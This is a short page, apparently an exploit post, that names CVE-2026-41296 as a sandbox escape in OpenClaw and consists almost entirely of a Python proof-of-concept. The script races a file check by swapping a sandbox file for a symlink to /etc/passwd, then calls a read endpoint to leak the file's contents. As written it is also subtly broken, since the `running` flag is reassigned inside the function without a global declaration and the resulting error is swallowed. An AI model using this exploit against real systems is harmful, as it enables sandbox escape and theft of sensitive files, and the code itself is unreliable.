CVE-2026-41296 OpenClaw 沙箱逃逸漏洞

import threading import os import time import requests # Target file to read (e.g., /etc/passwd) TARGET_FILE = "/etc/passwd" # Allowed path in the sandbox SANDBOX_FILE = "/tmp/safe_file.txt" # Flag to control threads running = True def exploit_race_condition(): """ Simulates the TOCTOU attack. Switches files rapidly in two threads to hit the race window between 'Check' and 'Use'. """ while running: try: # Step 1: Create a legitimate file to pass the initial check with open(SANDBOX_FILE, 'w') as f: f.write("safe content") # Step 2: Immediately swap it with a symlink to the target file # This must happen between the server's path validation and file read os.remove(SANDBOX_FILE) os.symlink(TARGET_FILE, SANDBOX_FILE) # Step 3: Trigger the vulnerable readFile function via HTTP request # Replace URL with the actual vulnerable endpoint response = requests.get("http://vulnerable-host:8080/api/read?file=" + SANDBOX_FILE) # Check if we successfully read the target file if "root:" in response.text: print("[+] Exploit successful! Sensitive data leaked:") print(response.text) running = False break except Exception as e: # Clean up and retry pass finally: # Clean up symlink for the next iteration if os.path.islink(SANDBOX_FILE): os.remove(SANDBOX_FILE) # Start the exploit in a separate thread attacker_thread = threading.Thread(target=exploit_race_condition) attacker_thread.start() # Run for a specific duration time.sleep(10) running = False attacker_thread.join()